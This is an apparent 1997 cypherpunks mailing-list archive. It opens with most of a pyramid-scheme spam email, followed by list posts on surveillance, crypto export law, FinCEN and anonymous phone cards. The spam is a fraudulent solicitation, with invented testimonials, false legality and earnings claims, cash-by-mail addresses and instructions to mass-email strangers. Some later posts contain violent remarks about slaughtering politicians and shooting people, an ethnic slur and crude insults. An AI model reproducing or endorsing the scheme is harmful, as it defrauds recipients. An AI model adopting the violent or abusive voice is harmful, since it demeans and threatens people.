start, without putting me further in debt.  After I got a pencil and
paper and figured it out, I would at least get my money back.  After
determining that the program is LEGAL and NOT A CHAIN LETTER, I decided
"WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need any
money for printing to send out the program, only the cost to fulfill my
orders.  I am telling you like it is, I hope it doesn't turn you off,
but I promised myself that I would not "rip-off" anyone, no matter how
much money it cost me!

A good program to help do this is Ready Aim Fire, 
an email extracting and mass mail program 
@ http://microsyssolutions.com/raf/

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you read
the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 
TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,  
SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making 
$50,000 in 20 to 90 days was done.  By January 30th, I had received 
196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU 
MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN 
TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  
ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU
WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2,
96 more than I needed.  So I sat back and relaxed.  By March 19th, of
my emailing of 10,000, I received $58,000 with more coming in every
day.

I paid off  ALL my debts and bought a much needed new car.  Please take
time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does work,
but you must follow it EXACTLY!  Especially the rules of not trying to
place your name in a different place.  It doesn't work, you'll lose out
on a  lot  of  money!  REPORT  #2  explains this.  Always follow the
guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for
REPORT #2 and you will make  $50,000 or more in 20 to 90 days.  I AM
LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It really
is a great opportunity with little cost or risk to you.  If you choose
to participate, follow the program and you will be on your way to
financial security.

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!

					Sincerely,
					Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled
up on a kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

					Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, 'remember, Alan, there is no free lunch
in life.  You get out of life what you put into it.'  Through trial and
error and a somewhat slow frustrating start, I finally figured it out.
The program works very well, I just had to find the right target group
of people to email it to.  So far this year, I have made over $63,000
using this program.  I know my dad would have been very proud of me."

					Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business for
ten years.  Then in 1979 my business began falling off.  I was doing
the same things that were previously successful for me, but it wasn't
working.  Finally, I figured it out.  It wasn't me, it was the economy.
Inflation and recession had replaced the stable economy that had been
with us since 1945.  I don't have to tell you what happened to the
unemployment rate...because many of you know from first hand experience.
There were more failures and bankruptcies than ever before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who
never had anything to save or invest, were moving down into the ranks
of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET
POORER."  The traditional methods of making money will never allow you
to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have
ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US and
overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
It works exceedingly well as it is now.  Remember to email a copy of
this exciting program to everyone that you can think of.  One of the
people you send this to may send out 50,000...and your name will be on
every one of them!.  Remember though, the more you send out, the more
potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take
a little time to read it and REALLY THINK ABOUT IT.  Get a pencil and
figure out what could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested.  Any
doubts you have will vanish when your first orders come in.  IT WORKS!

					Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With a
5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU 
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE 
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe 
me, many people will do that and more!  By the way, your cost to participate 
in this is practically nothing.  You obviously already have an internet
connection and email is FREE!!!  REPORT#3 will show you the best 
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford Research
and The Wall Street Journal have stated that between 50% and 65% of all
goods and services will be sold throughout Multi-level Methods by the
mid to late 1990's.  This is a Multi-Billion Dollar industry and of the
500,000 millionaires in the US, 20% (100,000) made their fortune in the
last several years in MLM.  Moreover, statistics show 45 people become
millionaires everyday through Multi-Level Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling
our products.  Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent.
YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
involved in personal selling.  You do it privately in your own home,
store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
           by ordering the REPORT from each of the four 4 names listed
           on the next page.  For each REPORT, send $5 CASH and a SELF-
           ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the
           person listed for the SPECIFIC REPORT.  International orders
           should also include $1 extra for postage (Be sure and wrap
           the $5 so it isn't visible).  It is very essential that
           you specify the NAME and NUMBER of the report requested
           to the person you are ordering from.  You will need ALL FOUR
           4 REPORTS because you will be REPRINTING and RESELLING them.
           DO NOT alter the names or sequence other than what the
           instructions say.  IMPORTANT:  Always provide same-day
           service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
           POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will tell
           you the best methods of bulk emailing and acquiring email
           lists.

Step (4)   Email a copy of the entire program (all of this is very
           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can encourage
           them to take  advantage of this  fabulous  money-making
           opportunity.  That's what I did.  And they love me now, more
           than ever.  Then, email to anyone and everyone!  Use your
           imagination!  You can get email addresses from companies on
           the internet who specialize in email mailing lists.  These
           are very cheap, 100,000 addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER

________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

Big D Enterprises
Po Box 2626
Longview, Wa 98632
________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

STAR Enterprises
PO Box 271813
Tampa, FL 33688-1813
________________________________________________________
REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Success Concepts
Rt. Box 430L
Hendersonville, NC 28792
________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Prosperity Group
PO Box 2005
Englewood, FL 34295-2005
________________________________________________________

CONCLUSION

.I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,
retire or take a vacation.  No longer will a lack of money hold you
back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say
"NO" than "YES", and this is the question that you must answer.  Will
YOU ignore this amazing opportunity or will you take advantage of it?
If you do nothing, you have indeed missed something and nothing will
change.  Please re-read this material, this is a special opportunity.
If you have any questions, please feel free to write to the sender of
this information.  You will get a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 that
costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have probably
received chain letters, asking you to send money, on faith, but getting
NOTHING in return, NO product what-so-ever!  Not only are chain letters
illegal, but the risk of someone breaking the chain makes them quite
unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed material,
the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The
information contained in these REPORTS will not only help you in making
your participation in this program more rewarding, but will be useful
to you in any other business decisions you make in the years ahead.
You are also buying the rights to reprint all of the REPORTS, which
will be ordered from you by those to whom you mail this program.  The
concise one and two page REPORTS you will be buying can easily be
reproduced at a local copy center for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to participate in this program.  But conservative as I am, I
decided that the initial investment was so little that there was no way
that I could not get enough orders to at least get my money back.  BOY,
was I ever surprised when I found my medium sized post office box
crammed with orders!  I will make more money this year than any ten
years of my life before."

					Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the
orders start coming in.  When you receive a $5 order, you MUST send out
the product/service to comply with US Postal and Lottery laws.  Title
18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR
SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.	Name your new company. You can use your own name if you desire.

2.	Get a post office box (preferred).

3.	Edit the names and addresses on the program. You must remember,
        your name and address go next to REPORT #1 and the others all
        move down one, with the fourth one being bumped OFF the list.

4.	Obtain as many email addresses as possible to send until you
        receive the information on mailing list companies in REPORT #3.

5.	Decide on the number of programs you intend to send out.  The
        more you send, and the quicker you send them, the more money
        you will make.

6.	After mailing the programs, get ready to fill the orders.

7.	Copy the four 4 REPORTS so you are able to sent them out as
        soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
        SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

8.	Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
within two weeks, email out more programs until you do.  Then a couple
of weeks later you should receive at least 100 orders for REPORT #2, if
you don't, send out more programs until you do.  Once you have received
100 or more orders for REPORT #2, (take a deep breath) you can sit back
and  relax,  because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
Mathematically  it  is  a  proven  guarantee.   Of  those  who  have
participated in the program and reached the above GUARANTEES-ALL have
reached their $50,000 goal.  Also, remember, every time your name is
moved down the list you are in front of a different REPORT, so you can
keep track of your program by knowing what people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."


*******************************************************************
- sent you this message using WorldMerge,
the fastest and easiest way to send personalized email messages
to your customers, subscribers, leads or friends.

For more information, visit http://www.coloradosoft.com
*******************************************************************







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMangler <tmg@dev.null>
Date: Fri, 11 Apr 1997 10:26:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Grumpy Old Cypherpunks
Message-ID: <199704111724.LAA08482@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote: 
> 
> Toto, thanks for your thoughtful comments.  Your touching defense of
> Tim is interesting.

  I don't think it's so much a case of defending Tim as it is that
Toto is an old mangy dog who is losing his eyesight and biting
at everything that comes into his limited range of vision.
 
> Contrary to what you might think,

  Assuming what others are assuming gets to be a nasty little cyle
that leads you to sitting alone with two beers in front of you,
arguing with yourself and finally getting mad enough at the *other*
guy to drink *his* beer, too.

> I really don't have anything against
> Tim May, and I do go read things he (or others) have written in the
> past. 

  Apology accepted.

> As to his legacy, and the legacy of cypherpunks in general, that
> remains to be seen.

  The "legacy" already exists, whether it is recognized in the future,
or not. Even a fruit fly has a legacy which is important to certain
scientists.
 
>  None of the cypherpunks are in a position to be
> able to judge very well, because they are so close to their favorite
> issues that of course they look very large.

  Group discounts should be used for saving airfare, and not for 
lumping people (especially anarchists) into one mass and discounting
their thoughts and opinions.
  I get tired of hearing how an individual's ability to 'judge' an 
issue increases with his lessening knowledge of it, or interest in
it. Perhaps we need more retarded legislators and world-rulers in 
order to properly test this theory.

>  But it isn't a certainty
> that any of the predictions of crypto-anarchy, for example, will come
> to pass.  It is possible that the surveillance state will win. 

  Spank yourself, throw some cold water on your face, and take a look
around you. The average person is not allowed to move an inch without
taking a number and/or waiting for it to be called.
  "What were once vices, are now habits."
  The medium *is* the message, and today's mental medium is DoubleSpeak.
The age-old "number's racket" is no longer a "criminal enterprise," but
is, rather, a "government sponsered charitable institution" (or was; I
have no idea what the current DoubleSpeak for it is).
   My personal view is that the war on DoubleSpeak was lost when we 
allowed Ronnie Rayguns & Co. to name a weapon of mass destruction "The
Peacekeeper." If we had risen up and slaughtered a few hundred 
politicians at that time, then mental freedom would have had a slim
chance of survival.
  Anyone who claims that 1984 hasn't arrived and thrived because we
do not yet have loudspeakers on the streetcorners blaring, "You are
not getting fucked by the government...You are not getting fucked by
the government..."

  The surveillance state has already won, the only question is whether
or not there will be a revolution.
  For God's sake, man, take a look around you. The surveillance state
has ruled for years in the places it counts most--in the medium and
in the message. The government is only solidifying ground already held
with their further intrusions into areas of freedom and privacy, as well
as extending their reach into the latest medium, the Net/WWW.

  Media content is ruled by the few and the powerful, and the masses
are ruled by the media.
  You are permitted to speak out against government policy only if 
you have Freedom of Speech Permit #900873.7b and post a $50,000 
Non-Incitement to Terrorism bond.

  The battle for freedom and privacy is mostly about governments and
corporations fighting over each other having access to *their* secrets,
not the common man and woman's secrets. Their fight over the common
people is only whether they will be controlled via key escrow or
cookies.
  Name any issue and you will find it surrounded by a plethora of
laws regulating when, where, and how it can be spoken about.

  The only thing that makes Jim Bell (the lunatic, speed-freak, drug
addicted tax-dodger whose convictions seem to have mostly only taken 
place within the confines of media-reality) special is that he spoke
loud enough to get some government and media attention.
  Most people are like dogs with their tails between their legs, who
take vain pride in the decent, law-abiding "character" they display
in whimpering, somehow managing to forget that the reason they no
longer bark is because they were beaten every time they did so.
 

> More
> likely, of course, the world will go in a direction that will surprise
> all of us (except that Tim will tell us he considered the possibility
> in a paper he wrote back in the 1970s).  What will look portentious and
> what will look pretentious 10 years from now is hard to judge...
> 
> Personally, I am in favor of absolute personal privacy, but I don't
> define that to include economic dealings -- as far as I am concerned,
> business or economic privacy is at a lower level of concern than
> personal privacy.

  And having a small burning rod shoved up your ass is "at a lower level
of concern" than having a large one shoved up there?
  Are you being held hostage in a tower of intellect?

>  This puts me at odds with the prevailing
> libertarian bent of cypherpunks, of course.  However, I was thrown off
> my stride by the high level of downright hostility so common on this
> list.  Like most people, I tend to respond in kind.

  This list is one of the few places where the dogs still bark (and
bite, as well). Smarmy "gumming" of the logic and opinions of others
on this list will not get you many doggie bones.
  My personal pet peeve is the fucking happy faces that abound in
posts everywhere. If you can't figure out whether a comment is an
insult or humor, then take it as an insult, because any professed
difference between the two is only an illusion.
  I suppose that it is only a matter of time before I walk into a
happy-face factory and start blowing people away at random. A barking
gun is only the final result of years of govement and societal 
suppression of our natural instinct to bark loud and long when
intruders invade our personal space.
  Or perhaps I will walk into a happy-face factory and just bark
at them. If they fail to recognize the humor in my actions, then
I suppose that I will have to grab a mask and "put on a happy face."
  After all, the medium is the message.

TruthMangler





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 11 Apr 1997 11:41:44 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Reporters, Declan, Columns, Articles, and Angles
Message-ID: <199704111841.LAA21552@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Comments: Authenticated sender is <rwright@adnetsol.com>
From: "Ross Wright" <rwright@adnetsol.com>
Organization: King Media and RW Marketing
To: cypherpunks@toad.com, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 10 Apr 1997
Subject: Re: Reporters, Declan, Columns, Articles, and Angles

On or About 10 Apr 97 at 19:09, Dr.Dimitri Vulis KOTM wrote:

> "Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
> <doesn't matter what, 3 times>
> 
> That's $3 for Sinn F\'ein.  Thank you, Phil.
> 
> P.S. Fuck your Queen.

Free Rule for Ireland!

###

So you're giving it _all_ to the Pope?

Typical Mick thinking!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Fri, 11 Apr 1997 10:10:17 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Politics This Week [Tamper Proof Device?]
Message-ID: <3.0.1.32.19970411123407.007bd210@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>From: The Economist <null@postbox.co.uk>
>Subject: Politics This Week (April 4th - April 10th 1997)
>Date: Thu, 10 Apr 1997 22:01:13 +0100

>Also available at http://www.economist.com/
>********************************************************************


[SNIP]

>A Thunderbolt ground-attack aircraft and its bomb-load vanished over
>Arizona. Had its pilot defected?

[SNIP]

>*****

>If you find our summaries service useful, please tell your friends.
>Invite them to subscribe by forwarding this e-mail to them.
>
>
>
>*************************************************************************
>This is a free newsletter published by The Economist newspaper.   To find
out 
>where best to direct queries to The Economist, send a blank e-mail message
>to help@economist.com
>
>If you are having problems receiving this list, send an e-mail explaining
>the difficulty you are having to list-support@economist.com
>
>To  cancel  your  subscription,  send  an  e-mail  with  the  message 
"leave 
>economist-politics"  to  newscaster@postbox.co.uk    
>To start receiving Politics This Week, send an e-mail with the message
>"join economist-politics" to newscaster@postbox.co.uk
>Alternatively, you can cancel your subscription (or subscribe at any time)by
>visiting http://www.economist.com/mailing/

-----BEGIN PGP SIGNATURE-----
Version: 4.5

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FqDNBtG8tcAsvg2BcEBSpd6MdIFG1H/CsMr3/fwOvzQSoPXQvPKyJI3P4e/t5TWJ
4f6pRtRNY4qdbX/KRvZUjxFMt104K37UO5wrlLUjdmvQy0cMEP5sS8tuXOe/qc9o
HarpYVn/R8c=
=nXnL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 11 Apr 1997 13:23:08 -0700 (PDT)
To: camcc@abraxis.com
Subject: Re: Politics This Week [Tamper Proof Device?]
In-Reply-To: <3.0.1.32.19970411123407.007bd210@smtp1.abraxis.com>
Message-ID: <199704112022.NAA06506@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Alec writes:
> >From: The Economist <null@postbox.co.uk>
> >Subject: Politics This Week (April 4th - April 10th 1997)
> >Date: Thu, 10 Apr 1997 22:01:13 +0100
> 
> >Also available at http://www.economist.com/
> >********************************************************************
> 
> 
> [SNIP]
> 
> >A Thunderbolt ground-attack aircraft and its bomb-load vanished over
> >Arizona. Had its pilot defected?


I used to live and work for the Forest Service in northern Az.
There's a LOT of empty and semi-empty space there.  It's not at all
inconceiveable that a jet fighter could go down and not be found.

It'd be a lot more suspicious if it disapperaed in the middle
of say New Jersey.


-- 
   Eric Murray  ericm@lne.com  Network security and encryption consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 11 Apr 1997 14:40:05 -0700 (PDT)
To: cypherpunks@toad.com
Subject: NoneMondex
Message-ID: <199704112140.OAA27286@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


There's a rumor that Timothy Mayhem sells his dead relatives as 
fertilizer as they constitute the best shit in California.

          |||||||||||
           \~0/ \0~/
           <  (0)  >
      --oOO--/|||\--OOo- Timothy Mayhem





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 11 Apr 1997 15:42:08 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cryptography Export
In-Reply-To: <19970408124924.5846.qmail@squirrel.owl.de>
Message-ID: <3.0.1.32.19970411151006.005ddf28@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:49 PM 4/8/97 -0000, a Potential Postal Worker wrote:
>  I can't believe that corporations pay legal experts huge
>sums of money to receive advice telling them to bend over
>and spread 'em for the government's bullshit legislation.

_Corporations_ have to.  Unlike individuals or partnership businesses,
a corporation is a legal fiction chartered by the government,
and has to do what Big Daddy says or it'll be informed that
it no longer exists.  (The lawyers can point out that it's
obviously more complicated than that, but that's the basic idea.)
If they don't like it, they don't have to be a corporation.

>  If the government wants to prosecute me for exporting
>encryption code, then they had best be prepared to 
>prosecute _all_ exporters of every single item that
>involves altering data that can be re-converted on 
>the other end to render the output intelligible.

Doesn't work that way.  Unless you can make a very strong case that
they're singling out _you_ because you're black/female/Republican/Jewish,
it's extremely difficult to say "you can't prosecute me because you
didn't prosecute _him_ first" - otherwise there'd be no way to 
prosecute the first person.

>  I not only already have the paperwork set up to 
>defy any potential restraining orders that may 
>arise, but I have a judge that is fully prepared
>to institute the necessary proceedings to validate

If you're not just trolling (:-), here's one piece of advice -
please don't go in with a case that's too weak, whether
it's because you're underfunded, have other problems affecting
the overall case results, don't realize how much abuse you'll be taking,
or look too much like a Waco for the average mundane jury,
because every case the Good Guys lose sets bad precedents.


>  If the government thinks that they can legislate
>the thickness of condoms available for export,

The FDA already regulates testosterone and oxygen.
Ain't gonna get mine until they.....

>standing on legal precedents that are as solid as
>the Rock of Gibralter. (Think about it.)

GibraltAr ?  It's full of caves, tunnels, and other holes.....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 11 Apr 1997 15:41:00 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Swedish Narcotics Police Demand Telephone Card Database
Message-ID: <v03102803af7468aac645@[17.219.103.108]>
MIME-Version: 1.0
Content-Type: text/plain


According to an article in the Swedish newspaper, Svenska Dagbladet
<http://www.svd.se/svd/ettan/ettan_97-04-11/narkotikapolisen.html>,
the Stockholm narcotics police has asked the national police and
State Prosecutor to require that purchasers of a new telephone
card used for mobile telephones be registered, and that the police
have access to the purchaser database. "Since the card is purchased
anonymously, the owner cannot be determined, which makes wiretapping
impossible." The new card is pre-paid with 250 or 550 kroner (very
roughly $32 or $70) air time and a telephone number, but does not
require any other subscription. The card can be used on an ordinary
GSM mobile telephone "which can be borrowed or stolen" and can be
re-loaded when the air time runs out.

A similar card is in use in France. However, the French security
service made the government force the telephone company to require
that purchasers show an id card when tbey purchase the card.

Quickly translated and summarized by

Martin Minow minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 11 Apr 1997 15:54:07 -0700 (PDT)
To: harka@nycmetro.com
Subject: Re: EPIC Alert 4.05
In-Reply-To: <TCPSMTP.17.4.9.4.31.36.2780269260.1599073@nycmetro.com>
Message-ID: <3.0.1.32.19970411154504.005df720@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>the privacy of information gathered about consumers by telephone companies.
>The recommendations cover Customer Proprietary Network Information (CPNI).
>CPNI is the information that is gathered by phone companies in the process
>of delivering services, such as numbers called, length of calls, and times
>calls were made.  The FCC is currently conducting a rulemaking on CPNI
>under the Telecommunications Act of 1996.

Out of curiousity, was this before or after CALEA passed?
It would be interesting if the CDA superseded the "legitimate needs of 
law enforcement" laws, though it probably has enough weasel words
to prevent that from happening...

>The law limits the use and disclosure of CPNI information:
>
>    a telecommunications carrier that receives or obtains
>    customer proprietary network information by virtue of its
>    provision of a telecommunications service shall only use,
>    disclose, or permit access to individually identifiable
>    customer proprietary network information in its provision of
>    (A) the telecommunications service from which such
>    information is derived, or (B) services necessary to, or used
>    in, the provision of such telecommunications service,
>    including the publishing of directories.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 11 Apr 1997 13:38:25 -0700 (PDT)
To: cypherpunks@toad.com
Subject: FinCEN Resources
Message-ID: <v03020905af744adb1bbf@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Mime-Version: 1.0
Date: Fri, 11 Apr 1997 09:12:46 -0500
To: Digital Commerce Society of Boston <dcsb@ai.mit.edu>
From: Vin McLellan <vin@shore.net>
Subject:  FinCEN Resources
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Vin McLellan <vin@shore.net>

>From the French "Intelligence" newsletter
web http://www.blythe.org/Intelligence;
---------------------------------------------

Intelligence, N. 56, 24 March 1997, p. 21


U.S.A. - "Silent" FinCEN Uses a Bullhorn.  After we published
several articles concerning the Department of the Treasury's
Financial Crimes Enforcement Network (FinCEN) in 1994, there
was talk of FinCEN "clamming up", in 1995 following the
appointment of Stanley E. Morris as the new director who
"doesn't talk in public".  Those rumors were poorly informed,
as Morris himself proved, in March 1996, with the publication
of his article, "From FinCEN's Director" which opened the first
issue of "FinCEN Advisory".  Seven issues of the "Advisory"
have now been published and cover questions such as the
Seychelles, fund-transfer record keeping, money laundering
typologies developed with the OECD/G-7 Financial Action Task
Force (FATF), the "Safe Harbor" provision, Mexico and other
questions.

      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
